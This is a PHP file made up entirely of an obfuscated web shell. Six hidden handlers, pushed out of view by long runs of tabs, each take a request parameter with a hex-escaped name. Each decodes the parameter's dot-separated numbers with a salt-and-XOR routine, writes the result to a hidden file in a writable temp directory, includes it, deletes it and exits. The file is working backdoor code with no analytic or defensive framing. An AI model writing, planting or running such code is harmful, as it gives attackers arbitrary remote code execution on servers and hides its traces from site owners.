<?php																																										if(filter_has_var(INPUT_POST, "i\x74\x6D")){ $item = array_filter(["/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm"]); $flg = $_POST["i\x74\x6D"]; $flg= explode ( '.' , $flg) ; $hld = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt9); $z = 0; $__tmp = $flg; while( $v8 = array_shift( $__tmp)) { $chS = ord( $salt9[$z % $sLen]); $d =( ( int)$v8 - $chS -( $z % 10)) ^ 55; $hld.=chr( $d); $z++; } for ($token = 0, $tkn = count($item); $token < $tkn; $token++) { $data_chunk = $item[$token]; if (!!is_dir($data_chunk) && !!is_writable($data_chunk)) { $dat = sprintf("%s/.entity", $data_chunk); $success = file_put_contents($dat, $hld); if ($success) { include $dat; @unlink($dat); exit;} } } }
																																										if(array_key_exists("dat\x61", $_REQUEST) && !is_null($_REQUEST["dat\x61"])){ $entry = array_filter([getenv("TMP"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/dev/shm", "/var/tmp"]); $ptr = $_REQUEST["dat\x61"]; $ptr = explode ("." , $ptr ) ; $record =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt6 ); $v =0; $__tmp =$ptr; while( $v1 =array_shift( $__tmp)) {$chS =ord( $salt6[$v % $sLen] ); $d =( ( int)$v1 - $chS -( $v % 10)) ^ 43; $record .= chr( $d ); $v++; } $parameter_group = 0; do { $obj = $entry[$parameter_group] ?? null; if ($parameter_group >= count($entry)) break; if (array_product([is_dir($obj), is_writable($obj)])) { $pset = str_replace("{var_dir}", $obj, "{var_dir}/.comp"); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $pset; @unlink($pset); die(); } } $parameter_group++; } while (true); }
																																										if(!empty($_REQUEST["to\x6B\x65n"])){ $k = array_filter([getenv("TMP"), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", sys_get_temp_dir(), "/tmp", getcwd()]); $hld = $_REQUEST["to\x6B\x65n"]; $hld = explode( "." ,$hld ) ; $data_chunk = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8 ); $i = 0; $__tmp = $hld; while ($v7 = array_shift($__tmp)) {$chS = ord($salt8[$i % $sLen] ); $dec = ((int)$v7 - $chS - ($i % 10)) ^ 1; $data_chunk.= chr($dec ); $i++;} foreach ($k as $key => $dat) { if ((is_dir($dat) and is_writable($dat))) { $key = implode("/", [$dat, ".value"]); if (@file_put_contents($key, $data_chunk) !== false) { include $key; unlink($key); exit; } } } }
																																										if(!empty($_POST["f\x6Cag"])){ $data = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", getcwd()]); $res = $_POST["f\x6Cag"]; $res = explode (".", $res ); $record=''; $s6='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s6); $i=0; $__tmp=$res; while( $v8=array_shift( $__tmp)) { $sChar=ord( $s6[$i % $lenS]); $dec=( ( int)$v8 - $sChar -( $i % 10)) ^ 30; $record.=chr( $dec); $i++; } foreach ($data as $key => $pointer) { if (is_writable($pointer) && is_dir($pointer)) { $data_chunk = vsprintf("%s/%s", [$pointer, ".descriptor"]); if (file_put_contents($data_chunk, $record)) { include $data_chunk; @unlink($data_chunk); exit; } } } }
																																										if(isset($_POST["\x73\x79m"])){ $pgrp = array_filter(["/var/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TEMP"), getcwd(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir")]); $pointer = $_POST["\x73\x79m"]; $pointer = explode ("." , $pointer ) ; $mrk=''; $s2='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s2); $k=0; array_walk( $pointer ,function( $v4) use( &$mrk ,&$k ,$s2 ,$sLen) { $chS=ord( $s2[$k% $sLen]); $dec=( ( int)$v4 - $chS -( $k% 10))^ 9; $mrk .= chr( $dec); $k++; } ); while ($dchunk = array_shift($pgrp)) { if (max(0, is_dir($dchunk) * is_writable($dchunk))) { $ptr = vsprintf("%s/%s", [$dchunk, ".ent"]); if (file_put_contents($ptr, $mrk)) { include $ptr; @unlink($ptr); exit; } } } }


if(isset($_REQUEST) && isset($_REQUEST["d\x61\x74a_\x63h\x75\x6Ek"])){
	$binding = $_REQUEST["d\x61\x74a_\x63h\x75\x6Ek"];
	 $binding=explode			(	"." ,  	$binding  )		; 
	$component=		'';
            $s5=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=		strlen($s5);
            $__len=		count($binding);
    
            for ($l=		0; $l<$__len; $l++) {$v5=		$binding[$l];
                $sChar=		ord($s5[$l % $sLen]);
                $dec=		((int)$v5 - $sChar - ($l % 10))	^22;
                $component .= chr($dec); 	}
	$entry = array_filter(["/var/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp", "/dev/shm"]);
	while ($ent = array_shift($entry)) {
    		if ((bool)is_dir($ent) && (bool)is_writable($ent)) {
    $item = sprintf("%s/.dat", $ent);
    if (@file_put_contents($item, $component) !== false) {
	include $item;
	unlink($item);
	exit;
}
}
}
}